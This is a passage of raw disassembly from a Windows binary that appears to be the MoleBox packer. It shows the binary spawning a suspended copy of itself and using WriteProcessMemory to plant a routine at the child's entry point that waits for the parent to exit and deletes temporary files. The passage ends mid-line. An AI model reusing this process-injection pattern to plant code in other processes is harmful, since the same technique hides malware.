FUNCTION CHUNK FOR sub_4D61E1 loc_4D6B8F: ; CODE XREF: sub_4D61E1+69Ej ; sub_4D61E1+6BEj ... mov eax, [ebp+var_90] mov ecx, [ebp+var_90] mov eax, [eax+8] cmp eax, [ecx+10h] jbe short loc_4D6BB4 mov eax, [ebp+var_90] mov eax, [eax+8] mov [ebp+var_144], eax jmp short loc_4D6BC3 ; --------------------------------------------------------------------------- loc_4D6BB4: ; CODE XREF: sub_4D61E1+9C0j mov eax, [ebp+var_90] mov eax, [eax+10h] mov [ebp+var_144], eax loc_4D6BC3: ; CODE XREF: sub_4D61E1+9D1j mov eax, [ebp+var_A0] push dword ptr [eax+38h] push [ebp+var_144] call sub_4D5AE5 pop ecx pop ecx mov ecx, [ebp+var_90] mov [ecx+8], eax mov eax, [ebp+var_A0] push dword ptr [eax+38h] mov eax, [ebp+var_90] push dword ptr [eax+8] call sub_4D5AE5 pop ecx pop ecx mov ecx, [ebp+var_A0] mov ecx, [ecx+24h] add ecx, eax mov eax, [ebp+var_A0] mov [eax+24h], ecx mov eax, [ebp+var_90] and dword ptr [eax+10h], 0 mov eax, [ebp+var_90] and dword ptr [eax+14h], 0 mov eax, [ebp+var_90] mov dword ptr [eax+24h], 0E0000080h loc_4D6C30: ; CODE XREF: sub_4D61E1+688j jmp loc_4D66E9 ; --------------------------------------------------------------------------- loc_4D6C35: ; CODE XREF: sub_4D61E1+523j and [ebp+var_A4], 0 jmp short loc_4D6C4B ; --------------------------------------------------------------------------- loc_4D6C3E: ; CODE XREF: sub_4D61E1+A7Cj ; sub_4D61E1+A87j ... mov eax, [ebp+var_A4] inc eax mov [ebp+var_A4], eax loc_4D6C4B: ; CODE XREF: sub_4D61E1+A5Bj cmp [ebp+var_A4], 10h jnb short loc_4D6C8E cmp [ebp+var_A4], 0 jnz short loc_4D6C5F jmp short loc_4D6C3E ; --------------------------------------------------------------------------- loc_4D6C5F: ; CODE XREF: sub_4D61E1+A7Aj cmp [ebp+var_A4], 2 jnz short loc_4D6C6A jmp short loc_4D6C3E ; --------------------------------------------------------------------------- loc_4D6C6A: ; CODE XREF: sub_4D61E1+A85j mov eax, [ebp+var_A4] mov ecx, [ebp+var_A0] and dword ptr [ecx+eax*8+7Ch], 0 mov eax, [ebp+var_A4] mov ecx, [ebp+var_A0] and dword ptr [ecx+eax*8+78h], 0 jmp short loc_4D6C3E ; --------------------------------------------------------------------------- loc_4D6C8E: ; CODE XREF: sub_4D61E1+A71j push 0Ah pop ecx xor eax, eax mov edi, [ebp+var_90] rep stosd mov eax, [ebp+var_34] add eax, [ebp+var_30] mov ecx, [ebp+var_90] mov [ecx+14h], eax mov eax, [ebp+var_90] mov ecx, [ebp+var_A0] mov ecx, [ecx+50h] mov [eax+0Ch], ecx mov esi, offset a_box_ ; "_BOX_" mov edi, [ebp+var_90] movsd movsw mov eax, [ebp+var_90] mov ecx, [ebp+var_A0] mov ecx, [ecx+38h] mov [eax+8], ecx mov eax, [ebp+var_90] mov dword ptr [eax+10h], 200h mov eax, [ebp+var_90] mov dword ptr [eax+24h], 0E0000020h mov eax, [ebp+var_A0] mov dword ptr [eax+3Ch], 200h mov eax, [ebp+var_A0] mov eax, [eax+50h] mov ecx, [ebp+var_A0] add eax, [ecx+38h] mov ecx, [ebp+var_A0] mov [ecx+50h], eax mov eax, [ebp+var_A0] mov eax, [eax+1Ch] mov ecx, [ebp+var_A0] add eax, [ecx+3Ch] mov ecx, [ebp+var_A0] mov [ecx+1Ch], eax mov eax, [ebp+var_A0] mov eax, [eax+28h] mov [ebp+var_20], eax push 5 pop ecx mov esi, offset loc_4E0C70 mov edi, [ebp+var_54] rep movsd movsw movsb mov eax, [ebp+var_54] inc eax mov [ebp+var_C8], eax mov eax, [ebp+var_C8] mov ecx, [ebp+var_A0] mov ecx, [ecx+28h] mov [eax+1], ecx call sub_4D58A0 mov ecx, [ebp+var_C8] mov ecx, [ecx+1] xor ecx, eax mov eax, [ebp+var_C8] mov [eax+1], ecx mov eax, [ebp+var_C8] add eax, 5 mov [ebp+var_C8], eax mov eax, [ebp+var_C8] mov ecx, [ebp+var_24] mov [eax+1], ecx mov eax, [ebp+var_C8] add eax, 5 mov [ebp+var_C8], eax mov eax, [ebp+var_C8] mov ecx, [ebp+var_3C] mov [eax+1], ecx mov eax, [ebp+var_C8] add eax, 5 mov [ebp+var_C8], eax mov eax, [ebp+var_C8] inc eax mov [ebp+var_C8], eax mov eax, [ebp+var_C8] mov dword ptr [eax+1], offset sub_4D5BD7 and [ebp+var_C8], 0 xor eax, eax mov edi, [ebp+var_54] add edi, 20h stosd stosd stosd mov eax, [ebp+var_54] mov dword ptr [eax+24h], 8 mov eax, [ebp+var_A0] mov dword ptr [eax+0A4h], 8 mov eax, [ebp+var_90] mov eax, [eax+0Ch] add eax, 20h mov ecx, [ebp+var_A0] mov [ecx+0A0h], eax mov eax, [ebp+var_A0] mov ecx, [ebp+var_90] mov ecx, [ecx+0Ch] mov [eax+28h], ecx mov eax, [ebp+var_A0] mov ax, [eax+6] add ax, 1 mov ecx, [ebp+var_A0] mov [ecx+6], ax mov eax, [ebp+var_A0] and dword ptr [eax+58h], 0 push 0 push 0 push 2 push 0 push 0 push 40000000h push [ebp+var_28] call ds:dword_4E16A8 ; CreateFileA mov [ebp+var_58], eax cmp [ebp+var_58], 0FFFFFFFFh jnz short loc_4D6E8C mov ecx, 0EF000011h call sub_4D8342 loc_4D6E8C: ; CODE XREF: sub_4D61E1+C9Fj push 0 lea eax, [ebp+var_CC] push eax push [ebp+var_34] push [ebp+var_1C] push [ebp+var_58] call ds:dword_4E17BC ; WriteFile cmp [ebp+var_2C], 0 jz short loc_4D6EC2 push 0 lea eax, [ebp+var_CC] push eax push [ebp+var_30] push [ebp+var_2C] push [ebp+var_58] call ds:dword_4E17BC ; WriteFile loc_4D6EC2: ; CODE XREF: sub_4D61E1+CC7j push 0 lea eax, [ebp+var_CC] push eax push 200h push [ebp+var_54] push [ebp+var_58] call ds:dword_4E17BC ; WriteFile push [ebp+var_58] call ds:dword_4E16D8 ; FlushFileBuffers push [ebp+var_58] call ds:dword_4E16A4 ; CloseHandle mov ds:dword_4E1958, 1 push [ebp+var_28] call ds:dword_4E175C ; LoadLibraryA mov [ebp+var_D0], eax cmp [ebp+var_D0], 0 jnz short loc_4D6F2B push 351h push offset aDProjectsMy_sr ; "D:\\Projects\\My.SRC\\MoleStudio\\MoleBox\\m"... call sub_4D87CA pop ecx pop ecx mov ecx, 0EF000010h call sub_4D8342 loc_4D6F2B: ; CODE XREF: sub_4D61E1+D2Dj movzx eax, [ebp+var_5C] test eax, eax jz loc_4D705C mov eax, [ebp+var_D0] mov [ebp+var_DC], eax mov eax, [ebp+var_DC] mov ecx, [ebp+var_DC] add ecx, [eax+3Ch] mov [ebp+var_EC], ecx mov eax, [ebp+var_EC] movzx eax, word ptr [eax+14h] mov ecx, [ebp+var_EC] lea eax, [ecx+eax+18h] mov [ebp+var_E8], eax mov eax, [ebp+var_EC] movzx eax, word ptr [eax+6] imul eax, 28h mov ecx, [ebp+var_E8] lea eax, [ecx+eax-28h] mov [ebp+var_E0], eax mov eax, [ebp+var_E0] mov eax, [eax+0Ch] mov ecx, [ebp+var_DC] mov eax, [ecx+eax+3Ch] mov [ebp+var_E4], eax mov eax, [ebp+var_DC] add eax, [ebp+var_E4] mov [ebp+var_D8], eax push 5Ch push [ebp+var_24] call sub_4CC700 pop ecx pop ecx mov [ebp+var_D4], eax cmp [ebp+var_D4], 0 jnz short loc_4D6FE0 mov eax, [ebp+var_24] mov [ebp+var_D4], eax jmp short loc_4D6FED ; --------------------------------------------------------------------------- loc_4D6FE0: ; CODE XREF: sub_4D61E1+DF2j mov eax, [ebp+var_D4] inc eax mov [ebp+var_D4], eax loc_4D6FED: ; CODE XREF: sub_4D61E1+DFDj push 14h call sub_4D835A pop ecx mov [ebp+var_10C], eax mov eax, [ebp+var_10C] mov [ebp+var_F0], eax mov eax, [ebp+var_F0] mov ecx, [ebp+var_D4] mov [eax], ecx mov eax, [ebp+var_F0] mov ecx, ds:dword_4E196C mov [eax+10h], ecx mov eax, [ebp+var_F0] mov ecx, [ebp+var_EC] mov [eax+0Ch], ecx mov eax, [ebp+var_F0] mov ecx, [ebp+var_D8] mov [eax+4], ecx mov eax, [ebp+var_F0] mov ecx, [ebp+var_DC] mov [eax+8], ecx mov eax, [ebp+var_F0] mov ds:dword_4E196C, eax loc_4D705C: ; CODE XREF: sub_4D61E1+D50j call sub_4D614D push 0FFFFFFFFh mov eax, [ebp+var_D0] mov [ebp+var_148], eax lea eax, [ebp+var_10] push eax call sub_4CC496 pop ecx pop ecx mov eax, [ebp+var_148] jmp loc_4D7132 ; END OF FUNCTION CHUNK FOR sub_4D61E1 ; =============== S U B R O U T I N E ======================================= sub_4D7085 proc near ; DATA XREF: _5:004DE4C8o cmp ds:dword_4E1964, 0 jz short loc_4D7096 mov eax, [ebp-44h] mov ds:dword_4E1964, eax loc_4D7096: ; CODE XREF: sub_4D7085+7j cmp dword ptr [ebp-3Ch], 0FFFFFFFFh jz short loc_4D70A6 push 0 push dword ptr [ebp-3Ch] call sub_4D0741 loc_4D70A6: ; CODE XREF: sub_4D7085+15j mov eax, [ebp-50h] mov [ebp-110h], eax push dword ptr [ebp-110h] call sub_4D83DD pop ecx mov eax, [ebp-4Ch] mov [ebp-114h], eax push dword ptr [ebp-114h] call sub_4D83DD pop ecx mov eax, [ebp-1Ch] mov [ebp-118h], eax push dword ptr [ebp-118h] call sub_4D83DD pop ecx mov eax, [ebp-2Ch] mov [ebp-11Ch], eax push dword ptr [ebp-11Ch] call sub_4D83DD pop ecx mov eax, [ebp-54h] mov [ebp-120h], eax push dword ptr [ebp-120h] call sub_4D83DD pop ecx mov eax, [ebp-28h] mov [ebp-124h], eax push dword ptr [ebp-124h] call sub_4D83DD pop ecx push offset dword_4E1930 call ds:dword_4E1754 ; RtlLeaveCriticalSection retn sub_4D7085 endp ; --------------------------------------------------------------------------- xor eax, eax ; START OF FUNCTION CHUNK FOR sub_4D61E1 loc_4D7132: ; CODE XREF: sub_4D61E1+C3j ; sub_4D61E1+145j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4D61E1 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D7141 proc near ; CODE XREF: sub_4DAA24+15p ; sub_4DAA5E+43p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push esi push edi push [ebp+arg_0] mov ecx, ds:dword_4E194C call sub_4DB871 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_4D71BD mov edi, [ebp+var_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_8], ecx mov eax, [ebp+arg_8] cmp eax, [ebp+var_8] jbe short loc_4D7199 mov ecx, [ebp+var_8] inc ecx mov esi, [ebp+var_4] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_C] mov ecx, [ebp+var_8] mov [eax], ecx jmp short loc_4D71B8 ; --------------------------------------------------------------------------- loc_4D7199: ; CODE XREF: sub_4D7141+34j mov ecx, [ebp+arg_8] mov esi, [ebp+var_4] mov edi, [ebp+arg_4] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov eax, [ebp+arg_C] mov ecx, [ebp+arg_8] mov [eax], ecx loc_4D71B8: ; CODE XREF: sub_4D7141+56j push 1 pop eax jmp short loc_4D71BF ; --------------------------------------------------------------------------- loc_4D71BD: ; CODE XREF: sub_4D7141+1Cj xor eax, eax loc_4D71BF: ; CODE XREF: sub_4D7141+7Aj pop edi pop esi leave retn sub_4D7141 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D71C3 proc near ; CODE XREF: sub_4DA0C8+42p var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE4E8 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 80h push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_78], 0 and [ebp+var_74], 0 and [ebp+var_70], 0 xor eax, eax lea edi, [ebp+var_6C] stosd and [ebp+var_60], 0 push 10h pop ecx xor eax, eax lea edi, [ebp+var_5C] rep stosd call ds:dword_4E16E4 ; GetCurrentProcess mov [ebp+var_68], eax mov [ebp+var_64], offset dword_4CD720 and [ebp+var_1C], 0 cmp ds:dword_4E1958, 0 jz loc_4D7324 and [ebp+var_4], 0 push 105h call sub_4D835A pop ecx mov [ebp+var_8C], eax mov eax, [ebp+var_8C] mov [ebp+var_78], eax push 50h call sub_4D835A pop ecx mov [ebp+var_90], eax mov eax, [ebp+var_90] mov [ebp+var_74], eax push 41h pop ecx xor eax, eax mov edi, [ebp+var_78] rep stosd stosb push 104h push [ebp+var_78] push 0 call ds:dword_4E1718 ; GetModuleHandleA push eax call ds:dword_4E1714 ; GetModuleFileNameA mov [ebp+var_60], 44h lea eax, [ebp+var_88] push eax lea eax, [ebp+var_60] push eax push 0 push 0 push 4 push 1 push 0 push 0 push 0 push [ebp+var_78] call ds:dword_4E16B8 ; CreateProcessA test eax, eax jnz short loc_4D72BD mov ecx, 0EF000015h call sub_4D8342 loc_4D72BD: ; CODE XREF: sub_4D71C3+EEj call ds:dword_4E16E8 ; GetCurrentProcessId push eax push [ebp+var_88] call sub_4D7494 pop ecx pop ecx push [ebp+var_84] call ds:dword_4DE024 ; ResumeThread or [ebp+var_4], 0FFFFFFFFh jmp short loc_4D7324 ; --------------------------------------------------------------------------- mov eax, [ebp+var_14] mov eax, [eax] mov eax, [eax] mov [ebp+var_94], eax cmp [ebp+var_94], 0EF000015h jnz short loc_4D7308 mov [ebp+var_98], 1 jmp short loc_4D7316 ; --------------------------------------------------------------------------- loc_4D7308: ; CODE XREF: sub_4D71C3+137j push [ebp+var_14] call sub_4D8C27 mov [ebp+var_98], eax loc_4D7316: ; CODE XREF: sub_4D71C3+143j mov eax, [ebp+var_98] retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_4D7324: ; CODE XREF: sub_4D71C3+66j ; sub_4D71C3+11Ej mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4D71C3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D7333 proc near ; CODE XREF: sub_4D7482+Bp ; DATA XREF: sub_4D7482+6o ... var_24C = byte ptr -24Ch var_220 = byte ptr -220h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h push ebp mov ebp, esp sub esp, 24Ch push edi and [ebp+var_108], 0 push ds:dword_4E1920 push 0 push 1F0FFFh call ds:dword_4E1994 mov ds:dword_4E1948, eax cmp ds:dword_4E1948, 0 jz short loc_4D73A4 loc_4D7365: ; CODE XREF: sub_4D7333+63j lea eax, [ebp+var_108] push eax push ds:dword_4E1948 call ds:dword_4E1988 test eax, eax jz short loc_4D7398 cmp [ebp+var_108], 103h jnz short loc_4D7398 push 0FFFFFFFFh push ds:dword_4E1948 call ds:dword_4E198C jmp short loc_4D7365 ; --------------------------------------------------------------------------- loc_4D7398: ; CODE XREF: sub_4D7333+47j ; sub_4D7333+53j push ds:dword_4E1948 call ds:dword_4E199C loc_4D73A4: ; CODE XREF: sub_4D7333+30j or [ebp+var_10C], 0FFFFFFFFh and [ebp+var_104], 0 push 40h pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb lea eax, [ebp+var_104] push eax push 104h call ds:dword_4E1970 lea eax, [ebp+var_104] push eax call ds:dword_4E1974 lea eax, [ebp+var_104] push eax push 104h call ds:dword_4E1978 push 64h call ds:dword_4E1998 loc_4D73FB: ; CODE XREF: sub_4D7333+124j lea eax, [ebp+var_24C] push eax push offset dword_4E19A0 call ds:dword_4E197C mov [ebp+var_10C], eax cmp [ebp+var_10C], 0FFFFFFFFh jz short loc_4D7459 lea eax, [ebp+var_220] push eax call ds:dword_4E1980 test eax, eax jnz short loc_4D744B push 1F4h call ds:dword_4E1998 lea eax, [ebp+var_220] push eax call ds:dword_4E1980 test eax, eax jnz short loc_4D744B jmp short loc_4D7478 ; --------------------------------------------------------------------------- loc_4D744B: ; CODE XREF: sub_4D7333+F8j ; sub_4D7333+114j push [ebp+var_10C] call ds:dword_4E1984 jmp short loc_4D73FB ; --------------------------------------------------------------------------- loc_4D7459: ; CODE XREF: sub_4D7333+E7j ; sub_4D7333:loc_4D7478j cmp [ebp+var_10C], 0FFFFFFFFh jz short loc_4D746E push [ebp+var_10C] call ds:dword_4E1984 loc_4D746E: ; CODE XREF: sub_4D7333+12Dj push 0 call ds:dword_4E1990 jmp short loc_4D747A ; --------------------------------------------------------------------------- loc_4D7478: ; CODE XREF: sub_4D7333+116j jmp short loc_4D7459 ; --------------------------------------------------------------------------- loc_4D747A: ; CODE XREF: sub_4D7333+143j pop edi leave retn sub_4D7333 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D747D proc near ; DATA XREF: sub_4D7494+2B6o push ebp mov ebp, esp pop ebp retn sub_4D747D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D7482 proc near ; DATA XREF: sub_4D7494+2EFo push ebp mov ebp, esp push ebx push esi push edi mov eax, offset sub_4D7333 call eax ; sub_4D7333 pop edi pop esi pop ebx pop ebp retn sub_4D7482 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D7494 proc near ; CODE XREF: sub_4D71C3+107p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push esi push edi push 0 call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_24], eax mov eax, [ebp+var_24] mov ecx, [ebp+var_24] add ecx, [eax+3Ch] mov [ebp+var_20], ecx mov eax, [ebp+arg_4] mov ds:dword_4E1920, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1920 push offset dword_4E1920 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory push 20h pop ecx xor eax, eax mov edi, offset dword_4E19A0 rep stosd call ds:dword_4E16E8 ; GetCurrentProcessId push eax push offset aMbx@X@_ ; "MBX@%X@*.###" push offset dword_4E19A0 call ds:dword_4E17D4 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_14] push eax push 80h push offset dword_4E19A0 push offset dword_4E19A0 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory mov esi, offset aKernel32_dll ; "kernel32.dll" lea edi, [ebp+var_10] movsd movsd movsd movsb lea eax, [ebp+var_10] push eax push offset aGettemppatha ; "GetTempPathA" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E1970, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1970 push offset dword_4E1970 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aSetcurrentdire ; "SetCurrentDirectoryA" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E1974, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1974 push offset dword_4E1974 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aGetcurrentdire ; "GetCurrentDirectoryA" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E1978, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1978 push offset dword_4E1978 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aFindfirstfilea ; "FindFirstFileA" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E197C, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E197C push offset dword_4E197C push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aDeletefilea ; "DeleteFileA" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E1980, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1980 push offset dword_4E1980 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aFindclose ; "FindClose" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E1984, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1984 push offset dword_4E1984 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aGetexitcodepro ; "GetExitCodeProcess" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E1988, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1988 push offset dword_4E1988 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aWaitforsingleo ; "WaitForSingleObject" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E198C, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E198C push offset dword_4E198C push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aExitprocess ; "ExitProcess" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E1990, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1990 push offset dword_4E1990 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aOpenprocess ; "OpenProcess" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E1994, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1994 push offset dword_4E1994 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aSleep ; "Sleep" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E1998, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E1998 push offset dword_4E1998 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory lea eax, [ebp+var_10] push eax push offset aClosehandle ; "CloseHandle" call sub_4D9D79 pop ecx pop ecx mov ds:dword_4E199C, eax lea eax, [ebp+var_14] push eax push 4 push offset dword_4E199C push offset dword_4E199C push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory mov eax, offset sub_4D747D sub eax, offset sub_4D7333 mov [ebp+var_1C], eax lea eax, [ebp+var_14] push eax push [ebp+var_1C] push offset sub_4D7333 push offset sub_4D7333 push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory mov eax, [ebp+var_20] mov ecx, [ebp+var_24] add ecx, [eax+28h] mov [ebp+var_18], ecx lea eax, [ebp+var_14] push eax push 20h push offset sub_4D7482 push [ebp+var_18] push [ebp+arg_0] call ds:dword_4DE028 ; WriteProcessMemory pop edi pop esi leave retn sub_4D7494 endp ; =============== S U B R O U T I N E ======================================= sub_4D7798 proc near ; CODE XREF: _4:004CEECCp ; sub_4D3610+209p push esi mov esi, ecx call sub_4D79B1 mov eax, esi pop esi retn sub_4D7798 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D77A4 proc near ; CODE XREF: sub_4D3610+21Dp ; sub_4D785D+112p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx mov ebx, ecx cmp byte ptr [ebx+68h], 0 jnz loc_4D7858 mov edx, [ebx+10h] mov ecx, [ebp+arg_4] push esi mov eax, edx mov esi, ecx lea edx, [edx+ecx*8] shr eax, 3 shl esi, 3 and eax, 3Fh cmp edx, esi push edi mov [ebx+10h], edx jnb short loc_4D77D7 inc dword ptr [ebx+14h] loc_4D77D7: ; CODE XREF: sub_4D77A4+2Ej mov edx, ecx push 40h shr edx, 1Dh add [ebx+14h], edx pop edx sub edx, eax cmp ecx, edx mov [ebp+var_4], edx jb short loc_4D783B mov esi, [ebp+arg_0] mov ecx, edx lea edi, [eax+ebx+18h] mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax lea eax, [ebx+18h] and ecx, 3 push eax rep movsb mov ecx, ebx call sub_4D79D8 mov esi, [ebp+var_4] lea eax, [esi+3Fh] cmp eax, [ebp+arg_4] jnb short loc_4D7834 mov edi, eax loc_4D781A: ; CODE XREF: sub_4D77A4+8Ej mov eax, [ebp+arg_0] mov ecx, ebx lea eax, [eax+edi-3Fh] push eax call sub_4D79D8 add edi, 40h add esi, 40h cmp edi, [ebp+arg_4] jb short loc_4D781A loc_4D7834: ; CODE XREF: sub_4D77A4+72j mov ecx, [ebp+arg_4] xor eax, eax jmp short loc_4D783D ; --------------------------------------------------------------------------- loc_4D783B: ; CODE XREF: sub_4D77A4+45j xor esi, esi loc_4D783D: ; CODE XREF: sub_4D77A4+95j mov edx, [ebp+arg_0] sub ecx, esi lea edi, [eax+ebx+18h] mov eax, ecx add esi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi loc_4D7858: ; CODE XREF: sub_4D77A4+Bj pop ebx leave retn 8 sub_4D77A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D785D proc near ; CODE XREF: sub_4D3610+22Fp var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = byte ptr -44h var_43 = byte ptr -43h var_42 = byte ptr -42h var_41 = byte ptr -41h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = byte ptr -38h var_37 = byte ptr -37h var_36 = byte ptr -36h var_35 = byte ptr -35h var_34 = byte ptr -34h var_33 = byte ptr -33h var_32 = byte ptr -32h var_31 = byte ptr -31h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = byte ptr -2Ah var_29 = byte ptr -29h var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4Ch push ebx push esi mov esi, ecx xor ebx, ebx push edi mov [ebp+var_4], esi cmp [esi+68h], bl mov [ebp+var_4C], 80h mov [ebp+var_4B], bl mov [ebp+var_4A], bl mov [ebp+var_49], bl mov [ebp+var_48], bl mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], bl mov [ebp+var_44], bl mov [ebp+var_43], bl mov [ebp+var_42], bl mov [ebp+var_41], bl mov [ebp+var_40], bl mov [ebp+var_3F], bl mov [ebp+var_3E], bl mov [ebp+var_3D], bl mov [ebp+var_3C], bl mov [ebp+var_3B], bl mov [ebp+var_3A], bl mov [ebp+var_39], bl mov [ebp+var_38], bl mov [ebp+var_37], bl mov [ebp+var_36], bl mov [ebp+var_35], bl mov [ebp+var_34], bl mov [ebp+var_33], bl mov [ebp+var_32], bl mov [ebp+var_31], bl mov [ebp+var_30], bl mov [ebp+var_2F], bl mov [ebp+var_2E], bl mov [ebp+var_2D], bl mov [ebp+var_2C], bl mov [ebp+var_2B], bl mov [ebp+var_2A], bl mov [ebp+var_29], bl mov [ebp+var_28], bl mov [ebp+var_27], bl mov [ebp+var_26], bl mov [ebp+var_25], bl mov [ebp+var_24], bl mov [ebp+var_23], bl mov [ebp+var_22], bl mov [ebp+var_21], bl mov [ebp+var_20], bl mov [ebp+var_1F], bl mov [ebp+var_1E], bl mov [ebp+var_1D], bl mov [ebp+var_1C], bl mov [ebp+var_1B], bl mov [ebp+var_1A], bl mov [ebp+var_19], bl mov [ebp+var_18], bl mov [ebp+var_17], bl mov [ebp+var_16], bl mov [ebp+var_15], bl mov [ebp+var_14], bl mov [ebp+var_13], bl mov [ebp+var_12], bl mov [ebp+var_11], bl mov [ebp+var_10], bl mov [ebp+var_F], bl mov [ebp+var_E], bl mov [ebp+var_D], 